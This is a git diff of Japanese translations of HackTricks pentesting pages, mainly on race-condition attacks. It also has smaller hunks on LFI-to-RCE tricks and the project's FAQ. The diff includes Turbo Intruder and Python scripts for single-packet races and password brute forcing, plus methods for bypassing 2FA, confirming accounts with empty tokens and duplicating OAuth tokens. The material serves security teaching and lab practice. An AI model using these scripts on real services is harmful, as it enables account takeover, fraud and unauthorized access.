||||
|
||||
もし **Local File Inclusion** を発見し、テンポラリファイルのパスを **can exfiltrate the path** できるが、**server** が含めるファイルに PHP マークがあるか **checking** している場合、次の **Race Condition** でその検査を **bypass** してみてください:
|
||||
もし **Local File Inclusion** を見つけ、テンポラリファイルのパスを **exfiltrate** できるが、**server** が含めるファイルに PHP マークがあるかを **checking** している場合は、この **Race Condition** でそのチェックを **bypass** できるかもしれません:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
### eternal waiting + bruteforce を使って
|
||||
|
||||
もし LFI を悪用して **upload temporary files** し、**server** が PHP 実行を **hang** させることができれば、数時間にわたり **brute force filenames during hours** してテンポラリファイルを見つけることができます:
|
||||
もし LFI を悪用して一時ファイルを **upload** し、サーバー側で PHP 実行を **hang** させられるなら、何時間もかけてファイル名を **brute force** してテンポラリファイルを見つけることができます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### To Fatal Error
|
||||
### Fatal Error を引き起こす
|
||||
|
||||
もし `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` のいずれかを include するとエラーになります。(そのエラーを発生させるには同じファイルを2回 include する必要があります)
|
||||
もし `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` のいずれかを include すると(同じものを 2 回 include する必要があります)、そのエラーが発生します。
|
||||
|
||||
**どう役立つかは分かりませんが、可能性はあります。**\
|
||||
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
||||
**どう役立つかはわかりませんが、役に立つかもしれません。**\
|
||||
_たとえ PHP Fatal Error を引き起こしても、アップロードされた PHP の一時ファイルは削除されます。_
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -3,56 +3,56 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> この手法を深く理解するには、元のレポートを[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)で確認してください
|
||||
> この手法を深く理解するには、オリジナルのレポート [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) を参照してください。
|
||||
|
||||
## Race Condition 攻撃の強化
|
||||
|
||||
race condition を利用する際の主な障害は、複数のリクエストがほぼ同時に処理されるようにすることで、処理時間の差が**非常に小さいこと ― 理想的には1ms未満**であることを保証する点です。
|
||||
Race Condition を悪用する際の主な障害は、複数のリクエストが「ほぼ同時」に処理されることを確実にすることです。処理時間の差が**非常に小さいこと—理想的には1ms未満**である必要があります。
|
||||
|
||||
ここではリクエストを同期させるためのいくつかの手法を紹介します:
|
||||
ここではリクエスト同期のためのいくつかの手法を紹介します:
|
||||
|
||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||
#### HTTP/2 Single-Packet Attack 対 HTTP/1.1 Last-Byte Synchronization
|
||||
|
||||
- **HTTP/2**: 単一のTCP接続上で2つのリクエストを送ることができ、ネットワークのジッタの影響を低減します。ただし、サーバー側の差異により、常にrace conditionを再現するには2つのリクエストだけでは不十分なことがあります。
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: 20〜30のリクエストのほとんどの部分を事前送信し、小さな断片だけを保留にしておき、それらを同時に送信することで、サーバー側で同時到着を実現します。
|
||||
- **HTTP/2**: 単一のTCP接続上で2つのリクエストを送れるため、ネットワークジッタの影響を減らせます。しかし、サーバー側の挙動の違いにより、常に成功するrace conditionのエクスプロイトには2回のリクエストだけでは不十分な場合があります。
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: 20〜30件のリクエストの大部分を事前に送信し、小さな断片を保留しておき、それらをまとめて送ることでサーバーへの同時到達を実現します。
|
||||
|
||||
**Preparation for Last-Byte Sync** involves:
|
||||
**Preparation for Last-Byte Sync** には以下が含まれます:
|
||||
|
||||
1. ヘッダと本文データから最後のバイトを除いた部分を送信し、ストリームを終了しない。
|
||||
1. ヘッダとボディデータを最終バイトを除いて送信し、ストリームを終了しない。
|
||||
2. 初回送信後に100ms待機する。
|
||||
3. 最終フレームのバッチ化のために TCP_NODELAY を無効にして Nagle's algorithm を利用する。
|
||||
4. 接続をウォームアップするために ping を送る。
|
||||
3. 最終フレームをバッチ処理するために、TCP_NODELAYを無効にしてNagleのアルゴリズムを利用する。
|
||||
4. 接続をウォームアップするためにpingを送る。
|
||||
|
||||
保留していたフレームをその後送信すると、それらが単一パケットで到着するはずで、Wireshark で確認できます。この手法は通常 RC 攻撃に関与しない static files には適用できません。
|
||||
保留していたフレームを続けて送信すると、それらが1つのパケットで到着するはずで、Wiresharkで確認できます。この方法は静的ファイルには適用されません。静的ファイルは通常RC攻撃には関与しないためです。
|
||||
|
||||
### サーバーアーキテクチャへの適応
|
||||
|
||||
ターゲットのアーキテクチャを理解することが重要です。Front-end servers はリクエストを異なる経路でルーティングする可能性があり、タイミングに影響を与えます。意味のないリクエストでサーバー側の接続を事前にウォームアップしておくことで、リクエストのタイミングが均一化される場合があります。
|
||||
ターゲットのアーキテクチャを理解することが重要です。フロントエンドのサーバーはリクエストを異なる経路でルーティングすることがあり、タイミングに影響を与えます。無害なリクエストによるサーバー側の事前接続ウォームアップは、リクエストのタイミングを均一化する可能性があります。
|
||||
|
||||
#### Session-Based Locking の扱い
|
||||
#### セッションベースのロック処理への対処
|
||||
|
||||
PHP の session handler のようなフレームワークは、セッション単位でリクエストをシリアライズするため、脆弱性が隠れることがあります。各リクエストで異なる session tokens を使うことでこの問題を回避できます。
|
||||
PHPのsession handlerのようなフレームワークはセッション単位でリクエストを直列化するため、脆弱性を覆い隠す可能性があります。各リクエストに異なるセッショントークンを使うことでこの問題を回避できます。
|
||||
|
||||
#### レートやリソース制限の克服
|
||||
#### レートまたはリソース制限の回避
|
||||
|
||||
接続のウォームアップが効果を発揮しない場合、ダミーリクエストを大量に送って web servers のレートやリソース制限による遅延を意図的に誘発させることで、single-packet attack を実行しやすいサーバー側の遅延を生み出せる場合があります。
|
||||
接続ウォームアップが効果を示さない場合、ダミーリクエストを大量に送ってwebサーバーのレートやリソース制限による遅延を意図的に引き起こすことで、single-packet attack を助け、race conditions を誘発しやすくすることがあります。
|
||||
|
||||
## Attack Examples
|
||||
## 攻撃例
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: リクエストを **Turbo intruder** に送ることができます(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)。リクエスト内でブルートフォースしたい値を **`%s`** に設定できます。例: `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`。その後、ドロップダウンから **`examples/race-single-packer-attack.py`** を選択します:
|
||||
|
||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
|
||||
もし**異なる値を送信する**場合、クリップボードからワードリストを読み込む以下のコードに変更できます:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
> [!WARNING]
|
||||
> ウェブが HTTP2 をサポートしておらず(HTTP1.1 のみ)場合は、`Engine.BURP2` の代わりに `Engine.THREADED` または `Engine.BURP` を使用してください。
|
||||
> ウェブが HTTP2 をサポートしていない(HTTP1.1 のみ)の場合、`Engine.BURP2` の代わりに `Engine.THREADED` または `Engine.BURP` を使用してください。
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 1 endpoint にリクエストを送り、その後他の複数の endpoint にリクエストを送って RCE をトリガーする必要がある場合、`race-single-packet-attack.py` スクリプトを次のように変更できます:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 1つのエンドポイントにリクエストを送ってから他の複数のエンドポイントにリクエストを送って RCE を誘発する必要がある場合、`race-single-packet-attack.py` スクリプトを次のように変更できます:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
||||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
- **Repeater** でも、Burp Suite の新しい '**Send group in parallel**' オプションから利用できます。
|
||||
- **limit-overrun** の場合、グループに **same request 50 times** を追加するだけでよいです。
|
||||
- **connection warming** の場合、**group** の **beginning** にウェブサーバーの非静的な部分へ向けた **requests** をいくつか **add** することができます。
|
||||
- 2 サブステートのステップで、ある **request** の処理と次の **request** の処理の **between** に処理を **delaying** したい場合は、両方の **requests** の間に追加の **requests** を **add extra requests between** してください。
|
||||
- **multi-endpoint** RC の場合、まず **goes to the hidden state** する **request** を送り、その直後に **exploits the hidden state** する **50 requests** を続けて送信できます。
|
||||
- また、Burp Suite の新しい '**Send group in parallel**' オプションを使用した **Repeater** でも利用できます。
|
||||
- For **limit-overrun** の場合は、グループに **same request 50 times** を追加するだけでよい。
|
||||
- For **connection warming** の場合は、**group** の **beginning** に web server の非静的な部分への **requests** をいくつか **add** できます。
|
||||
- For **delaying** the process **between** processing **one request and another** in a 2 substates steps の場合は、両方のリクエストの間に **add extra requests between** を挿入できます。
|
||||
- For a **multi-endpoint** RC の場合は、まず **goes to the hidden state** へ送られる **request** を送り、続けてそれを **exploits the hidden state** する **50 requests** を直後に送ることができます。
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automated python script**: このスクリプトの目的は、ユーザーのメールアドレスを変更しつつ、その検証が完了するまで継続的に確認することです。新しいメールの検証トークンが最後のメールアドレスに届くまで待ちます(これはコード内で、メールを変更できるが検証が古いメールに送られてしまう RC が確認されたためで、メールを示す変数が最初の値で既に設定されていたからです)。\
|
||||
受信したメールの中に "objetivo" という単語が見つかったら、変更したメールの検証トークンを受け取ったことが確認できるので、攻撃を終了します。
|
||||
- **Automated python script**: このスクリプトの目的は、ユーザーのメールを変更しつつ、新しいメールの verification token が最終的に古いメールに届くまで継続的に検証することです(これはコード上で、メールを変更できるが verification が古い方に送信される RC が見られたためです。理由はメールを示す変数が最初のメールで既に初期化されていたためです)。\
|
||||
受信メールに "objetivo" という単語が見つかった時点で、変更後のメールの verification token を受け取ったことが分かり、攻撃を終了します。
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
@ -217,21 +217,29 @@ h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
### Single Packet Attack の改善
|
||||
#### Turbo Intruder: エンジンとゲーティングのメモ
|
||||
|
||||
オリジナルの研究では、この攻撃は1,500バイトの制限があると説明されています。しかし、[**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)では、IPレイヤのフラグメンテーション(単一のパケットを複数のIPパケットに分割)を使用し、パケットを別順序で送信することで、single packet attack の1,500バイトの制限をTCPの**65,535 Bウィンドウ制限**まで拡張できる方法が説明されています。これにより、すべてのフラグメントがサーバに届くまでパケットの再構成を防ぐことができます。この手法により、研究者は約166msで10,000件のリクエストを送信できました。
|
||||
- エンジン選択: HTTP/2 ターゲットでは `Engine.BURP2` を使用して the single‑packet attack をトリガーする; HTTP/1.1 の last‑byte sync には `Engine.THREADED` または `Engine.BURP` にフォールバックする。
|
||||
- `gate`/`openGate`: `gate='race1'`(または per‑attempt gates)で多数のコピーをキューに入れ、各リクエストの末尾を保留する;`openGate('race1')` がすべての末尾を同時にフラッシュし、ほぼ同時に到着させる。
|
||||
- Diagnostics: Turbo Intruder の負のタイムスタンプは、サーバがリクエストの送信完了前に応答したことを示し、オーバーラップがあったことを証明する。これは true races では予期される。
|
||||
- Connection warming: タイミングを安定させるために、まず ping や無害なリクエストを数回送る;最終フレームのバッチ化を促すために `TCP_NODELAY` をオプションで無効化する。
|
||||
|
||||
この改善により、数百〜数千のパケットが同時に到着することを要求するRCにおいて攻撃の信頼性は向上しますが、ソフトウェア側の制約もあります。Apache、Nginx、Go のような一般的なHTTPサーバーは `SETTINGS_MAX_CONCURRENT_STREAMS` がそれぞれ100、128、250 に厳格に設定されています。一方、NodeJS や nghttp2 のようなものは無制限です。\
|
||||
これは基本的に Apache が単一のTCP接続からのHTTP接続を100件しか扱わないことを意味し(このRC攻撃を制限します)。
|
||||
|
||||
この手法を使ったいくつかの例はリポジトリ https://github.com/Ry0taK/first-sequence-sync/tree/main で確認できます。
|
||||
### Improving Single Packet Attack
|
||||
|
||||
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
|
||||
|
||||
これにより、何百〜何千のパケットが同時に到着することを要する RC に対して攻撃がより信頼性を増す一方で、ソフトウェア側の制限もあり得る点に注意する。Apache、Nginx、Go といった一般的な HTTP サーバは `SETTINGS_MAX_CONCURRENT_STREAMS` をそれぞれ 100、128、250 に厳格に設定しているが、NodeJS や nghttp2 のように無制限のものもある。\
|
||||
これは基本的に Apache が単一の TCP 接続から 100 の HTTP コネクションしか考慮しない(この RC 攻撃を制限する)ことを意味する。
|
||||
|
||||
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||
|
||||
## Raw BF
|
||||
|
||||
前述の研究以前は、RCを引き起こすためにパケットを可能な限り高速で送信しようとする以下のようなペイロードが使用されていました。
|
||||
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
|
||||
|
||||
- **Repeater:** 前のセクションの例を参照してください。
|
||||
- **Intruder**: **request**を**Intruder**に送信し、**Options menu**内で**number of threads**を**30**に設定し、ペイロードとして**Null payloads**を選択して**30**を生成します。
|
||||
- **Repeater:** Check the examples from the previous section.
|
||||
- **Intruder**: **request** を **Intruder** に送り、**Options menu** 内で **number of threads** を **30** に設定し、ペイロードとして **Null payloads** を選択して **30** を生成する。
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
@ -283,41 +291,41 @@ asyncio.run(main())
|
||||
|
||||
### Limit-overrun / TOCTOU
|
||||
|
||||
これは、アクションの実行回数を制限する場所に**vulnerabilities**が**appear**する、最も基本的なタイプのrace conditionです。例えば、同じ割引コードをウェブストアで何度も使うことが挙げられます。簡単な例は[**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**this bug**](https://hackerone.com/reports/759247)**.**
|
||||
これは最も基本的なタイプの race condition で、**vulnerabilities** が、行為を行える回数を制限する場面に**appear**するものです。例えば、同じ割引コードをウェブストアで何度も使うようなケースです。非常に簡単な例は[**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) や [**this bug**](https://hackerone.com/reports/759247)**.** にあります。
|
||||
|
||||
There are many variations of this kind of attack, including:
|
||||
この種の攻撃には以下のようなバリエーションがあります:
|
||||
|
||||
- Redeeming a gift card multiple times
|
||||
- Rating a product multiple times
|
||||
- Withdrawing or transferring cash in excess of your account balance
|
||||
- Reusing a single CAPTCHA solution
|
||||
- Bypassing an anti-brute-force rate limit
|
||||
- ギフトカードを複数回換金する
|
||||
- 製品を複数回評価する
|
||||
- アカウント残高を超える現金の引き出しや送金
|
||||
- 単一の CAPTCHA 解答を再利用する
|
||||
- anti-brute-force rate limit をバイパスする
|
||||
|
||||
### **Hidden substates**
|
||||
|
||||
複雑な race condition を悪用する際は、短い機会を利用して hidden または **unintended machine substates** とやり取りすることを狙うことが多いです。アプローチ方法は以下の通りです:
|
||||
複雑な race conditions を悪用するには、短時間だけ存在する隠れた(または**unintended machine substates**)状態とやり取りできる機会を利用することが多いです。アプローチは次の通りです:
|
||||
|
||||
1. **Identify Potential Hidden Substates**
|
||||
- まず、user profiles や password reset のような重要なデータを変更・操作する endpoints を特定します。注目点:
|
||||
- **Storage**: client-side を扱うものよりも server-side の永続データを操作する endpoints を優先する。
|
||||
- **Action**: 既存データを変更する操作を探す。新規データを追加する操作より exploitable conditions を生みやすい。
|
||||
- **Keying**: 成功する攻撃は通常、同じ識別子(例: username や reset token)でキー付けされた操作が関係する。
|
||||
- まず、user profiles や password reset processes のような重要なデータを変更または操作する endpoints を特定します。次の点に注目してください:
|
||||
- **Storage**: クライアント側でデータを扱うものよりも、サーバー側の永続データを操作する endpoints を優先する。
|
||||
- **Action**: 既存のデータを変更する操作は、新しいデータを追加する操作よりも exploitable な条件を作りやすい。
|
||||
- **Keying**: 成功する攻撃は通常、同じ識別子(例: username や reset token)をキーにした操作が関与する。
|
||||
2. **Conduct Initial Probing**
|
||||
- 特定した endpoints に対して race condition 攻撃でテストし、期待される結果からの逸脱を観察する。予期しないレスポンスやアプリ挙動の変化は vulnerability の兆候となる。
|
||||
- 特定した endpoints に対して race condition 攻撃を試し、期待される結果からの逸脱を観察する。予期しないレスポンスやアプリケーションの挙動の変化は vulnerability の兆候となる。
|
||||
3. **Demonstrate the Vulnerability**
|
||||
- 攻撃を最小のリクエスト数(多くの場合 2 回)に絞って vulnerability を実証する。正確なタイミングが必要なため、この段階では複数回の試行や自動化が必要になることがある。
|
||||
- 攻撃を vulnerability を悪用するために必要な最小のリクエスト数(多くの場合は2つ)に絞り込む。このステップはタイミングが正確である必要があるため、複数回の試行や自動化が必要になることがある。
|
||||
|
||||
### Time Sensitive Attacks
|
||||
|
||||
リクエストのタイミングを精密に合わせることで vulnerabilities が露呈することがある。特に timestamps のような予測可能な手法で security tokens を生成している場合に顕著である。例えば、timestamp ベースで password reset tokens を生成していると、同時に行ったリクエストで同一の token が生成される可能性がある。
|
||||
リクエストのタイミングの精度は脆弱性を露呈させることがあり、特に timestamps のような予測可能な方法が security tokens に使われている場合に顕著です。例えば、password reset tokens を timestamps に基づいて生成していると、同時のリクエストで同一のトークンが発生し得ます。
|
||||
|
||||
**To Exploit:**
|
||||
|
||||
- 精密なタイミング(単一パケット攻撃など)で同時に password reset リクエストを送る。同一の token が返れば vulnerability を示す。
|
||||
- single packet attack のような精密なタイミングを使って同時に password reset リクエストを行う。トークンが同一であれば vulnerability を示す。
|
||||
|
||||
**Example:**
|
||||
|
||||
- 同時に 2 つの password reset token を要求して比較する。一致すれば token 生成の欠陥を示唆する。
|
||||
- 同時に2つの password reset tokens をリクエストして比較する。トークンが一致すれば token generation に欠陥があることを示唆する。
|
||||
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
||||
|
||||
@ -325,29 +333,29 @@ There are many variations of this kind of attack, including:
|
||||
|
||||
### Pay & add an Item
|
||||
|
||||
この挙動(store で **pay** して支払い不要の**追加アイテム**を**add**する方法)は[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)で確認できます。
|
||||
この [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) を確認して、ストアで **pay** してから **add an extra** アイテムを行い、そのアイテムの支払いが **won't need to pay for it** になる方法を見てください。
|
||||
|
||||
### Confirm other emails
|
||||
|
||||
狙いは、**同時に email address を verify しつつ別のものに change して、プラットフォームが新しいアドレスを確認するかどうかを確かめる**ことです。
|
||||
アイデアは、**verify an email address and change it to a different one at the same time** を同時に行い、プラットフォームが新しいメールを正しく verify するかを確認することです。
|
||||
|
||||
### Change email to 2 emails addresses Cookie based
|
||||
|
||||
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
|
||||
[**this research**](https://portswigger.net/research/smashing-the-state-machine) によると、Gitlab はこの方法で takeover の脆弱性がありうるとされています。というのも、**send** された **email verification token of one email to the other email** が起きる可能性があったためです。
|
||||
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
||||
|
||||
### Hidden Database states / Confirmation Bypass
|
||||
|
||||
もし **2 different writes** が **database** 内に **information** を **add** するために使われると、database に **only the first data has been written** 短い時間帯が生じる。例えば、ユーザ作成時に **username** と **password** が **written** され、その後に新規アカウントを確認する **token** が書き込まれる、という順序だと、その間は **token to confirm an account is null** という状態になる。
|
||||
もし **2 different writes** が **database** 内に情報を **add** するために使われる場合、データベースには **only the first data has been written** という短い時間が存在します。例えば、ユーザを作成する際に **username** と **password** が **written** され、その後で新規アカウントを確認するための **token** が書き込まれるかもしれません。つまり、ある短時間の間は **token to confirm an account is null** という状態があり得ます。
|
||||
|
||||
Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
|
||||
したがって、**registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) ですぐにアカウントを確認しようとすると、自分が control していないメールのアカウントを **confirm an account** できてしまう可能性があります。
|
||||
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
||||
|
||||
### Bypass 2FA
|
||||
|
||||
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
|
||||
以下の pseudo-code は race condition に脆弱です。非常に短い時間の間に **2FA is not enforced** の状態で session が作成されるためです:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
@ -355,26 +363,25 @@ session['enforce_mfa'] = True
|
||||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
### OAuth2 の永続的な保持
|
||||
### OAuth2 の永続化
|
||||
|
||||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). これらのサービスではアプリケーションを作成し、プロバイダに登録されているユーザーを認証することができます。
|
||||
そのために、**client** は **あなたのアプリケーションを許可**して、**OAUth provider** 内のデータの一部へアクセスできるようにする必要があります。\
|
||||
ここまでは google/linkedin/github... 等でよくある一般的なログインで、次のようなページが表示されます:"_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). これらのサービスではアプリケーションを作成し、プロバイダに登録されているユーザーを認証できます。そうするために、**client** は **permit your application** をして **OAUth provider** 内のいくつかのデータへアクセスする必要があります。\
|
||||
ここまでは google/linkedin/github... などでよくあるログインと同じで、"_アプリケーション \<InsertCoolName> があなたの情報にアクセスしようとしています。許可しますか?_" のような画面が表示されます。
|
||||
|
||||
#### Race Condition in `authorization_code`
|
||||
#### `authorization_code` における Race Condition
|
||||
|
||||
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. 基本的には、あなたがアプリケーションにデータへのアクセスを許可した事実を悪用して **複数のアカウントを作成** します。 その後、もしアプリケーションへのアクセス許可を取り消しても、1組の AT/RT は削除されるかもしれませんが、他のものは依然として有効なまま残ります。
|
||||
**問題** は、**承諾すると** 自動的に **`authorization_code`** が悪意あるアプリケーションへ送信されるときに発生します。次に、この **アプリケーションは OAUth サービスプロバイダにおける Race Condition を悪用して、`authorization_code` からあなたのアカウントに対して複数の AT/RT を生成します**(_Authentication Token/Refresh Token_)。基本的には、あなたがアプリにデータアクセスを許可したことを悪用して **複数のアカウントを作成** します。そうして、もしアプリへのアクセス許可を取り消しても、**一組の AT/RT は削除されるかもしれませんが、他のものは依然として有効なままです。**
|
||||
|
||||
#### Race Condition in `Refresh Token`
|
||||
#### `Refresh Token` における Race Condition
|
||||
|
||||
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
|
||||
一度 **有効な RT を取得すると**、それを **悪用して複数の AT/RT を生成する** ことが可能です。そして、**ユーザーが権限を取り消したとしても**、**複数の RT が依然として有効なままになる** ことがあります。
|
||||
|
||||
## **RC in WebSockets**
|
||||
|
||||
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
|
||||
- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) には、websocket メッセージを **parallel** に送信して Web Sockets における **Race Conditions** を悪用するための Java 製 PoC が含まれています。
|
||||
- Burp の WebSocket Turbo Intruder では **THREADED** エンジンを使って複数の WS 接続を立ち上げ、ペイロードを並列に送信できます。公式の例から始めて `config()`(スレッド数)を調整して並行性を確保してください;WS ハンドラ間でサーバ側の状態をレースする場合、単一接続でのバッチ処理よりもこちらの方が信頼性が高いことが多いです。参照: [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
|
||||
## References
|
||||
## 参考資料
|
||||
|
||||
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||||
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||||
|
@ -1,21 +1,21 @@
|
||||
# HackTricks の価値観とFAQ
|
||||
# HackTricks の価値観 & FAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## HackTricks の価値観
|
||||
|
||||
> [!TIP]
|
||||
> 以下は**HackTricksプロジェクトの価値観**です:
|
||||
> これらは **HackTricks Project の価値観** です:
|
||||
>
|
||||
> - 全てのインターネットユーザーに**FREE**で**EDUCATIONAL hacking**リソースへのアクセスを提供する。
|
||||
> - Hackingは学びのためのものであり、学習はできるだけ無料であるべきです。
|
||||
> - この本の目的は包括的な**educational resource**として機能することです。
|
||||
> - コミュニティが公開する素晴らしい**hacking**テクニックを**STORE**し、**ORIGINAL** **AUTHORS**にすべての**credits**を帰属させる。
|
||||
> - **We don't want the credit from other people**, 我々はただ皆のためにクールなトリックを保存したいだけです。
|
||||
> - また HackTricks では**our own researches**も掲載しています。
|
||||
> - 場合によっては、テクニックの重要な部分を**in HackTricks a summary of the important parts**としてまとめ、詳細については**encourage the lector to visit the original post**します。
|
||||
> - 本に含まれるすべての**hacking**テクニックを**ORGANIZE**し、より**MORE ACCESSIBLE**にすること。
|
||||
> - HackTricksチームは、ユーザーが**learn faster**できるよう、コンテンツを**only to organize the content**するために何千時間もの無償の時間を捧げてきました。
|
||||
> - インターネット上のすべての人に **EDUCATIONAL hacking** リソースへ **無料で** アクセスを提供すること。
|
||||
> - Hackingは学習のためのものであり、学習はできるだけ無料であるべきです。
|
||||
> - この本の目的は包括的な **教育用リソース** として機能することです。
|
||||
> - コミュニティが公開する素晴らしい **hacking** テクニックを保存し、元の著者にすべてのクレジットを与えること。
|
||||
> - **他人からクレジットを奪いたいわけではありません**。私たちはただ皆のためにクールなトリックを保存したいだけです。
|
||||
> - また、HackTricks では**自分たちの研究**も執筆しています。
|
||||
> - 場合によっては、テクニックの重要な部分を**HackTricks に要約として掲載**し、詳細は**元の投稿を参照するよう読者に促します**。
|
||||
> - 本にあるすべての **hacking** テクニックを**整理して**、より**アクセスしやすく**すること
|
||||
> - HackTricks チームは、コンテンツの整理にのみ何千時間も無償で費やしており、人々が**より早く学べる**ようにしています。
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -25,15 +25,15 @@
|
||||
>
|
||||
> - **Thank you so much for these resources, how can I thank you?**
|
||||
|
||||
これらのリソースをまとめて公開してくれたHackTricksチームに対して、[**@hacktricks_live**](https://twitter.com/hacktricks_live) をメンションしたツイートで公に感謝を伝えることができます。\
|
||||
特に感謝している場合は、[**sponsor the project here**](https://github.com/sponsors/carlospolop) からプロジェクトをスポンサーできます。\
|
||||
そして、GitHubプロジェクトに**give a star in the Github projects!**するのを忘れないでください!(下にリンクがあります)
|
||||
HackTricks チームがこれらのリソースをまとめたことに対して、[**@hacktricks_live**](https://twitter.com/hacktricks_live) をメンションしたツイートで公に感謝を伝えることができます。\
|
||||
